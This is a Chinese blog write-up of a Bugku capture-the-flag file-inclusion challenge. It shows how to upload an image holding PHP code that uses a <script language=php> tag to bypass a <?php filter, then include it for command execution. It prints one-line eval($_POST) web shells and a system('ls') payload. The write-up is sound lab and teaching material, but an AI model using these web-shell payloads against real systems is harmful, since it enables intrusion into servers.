N0rth3ty's Blog.

Bugku题目集锦0x01

字数统计: 349阅读时长: 1 min
2018/06/07 Share

一道简单的文件包含

文件包含2

http://118.89.219.210:49166/index.php?file=hello.php
php伪协议是肯定要试试的,但是发现没用。
源码细心一点可以看到注释upload.php
找到上传点
image
这里根据题目名已经可以确定是一个文件包含,则我们上传的应该是图片格式,然后通过包含去调用图片中的代码
先上传一个一句话木马测试,这是最常规的思路
不难发现过滤了<?php ?>
用script标签可以绕过

两种思路,一种是一句话木马菜刀连接,然后还有就是直接调用system函数命令执行,算是新颖的思路

菜刀

写入如下一句话木马后上传

1
<script language=php>@eval($_POST['cmd']);</script>

但是还是连不上去
看论坛的wp有用

1
<?=eval($_POST['shell']);>

连接上去的,尝试后无果

命令执行

直接在图片文件中写入

1
<script language=php>system("ls")</script>

上传之后会返回上传的路径,然后用类似
http://118.89.219.210:49166/index.php?file=upload/201806070924547357.png
这样的路径去包含上传的文件,达到调用目标代码的目的
可以看到返回了命令ls执行后的结果
image
再用cat命令查看flag文件
image

CATALOG
  1. 1. 文件包含2
    1. 1.1. 菜刀
    2. 1.2. 命令执行